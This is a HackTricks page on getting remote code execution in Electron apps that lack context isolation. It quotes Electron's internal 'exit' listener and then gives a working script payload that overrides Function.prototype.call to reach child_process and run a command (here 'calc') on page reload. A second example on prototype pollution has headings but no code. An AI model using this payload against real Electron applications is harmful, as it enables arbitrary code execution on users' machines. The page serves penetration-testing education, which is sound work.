Electron contextIsolation RCE via Electron internal code - HackTricks

# Electron contextIsolation RCE via Electron internal code

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Example 1

Example from https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41

"exit" event listener is always set by the internal code when de page loading is started. This event is emitted just before navigation:

    process.on("exit", function () {
      for (let p in cachedArchives) {
        if (!hasProp.call(cachedArchives, p)) continue
        cachedArchives[p].destroy()
      }
    })

https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36

https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- No longer exists

Then it goes here:

Where "self" is Node's process object:

The process object has a references to "require" function:

    process.mainModule.require

As the handler.call is going to receive the process object we can overwrite it to execute arbitrary code:

    <script>
      Function.prototype.call = function (process) {
        process.mainModule.require("child_process").execSync("calc")
      }
      location.reload() //Trigger the "exit" event
    </script>

## Example 2

Get require object from prototype pollution. From https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81

Leak:

Exploit:

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.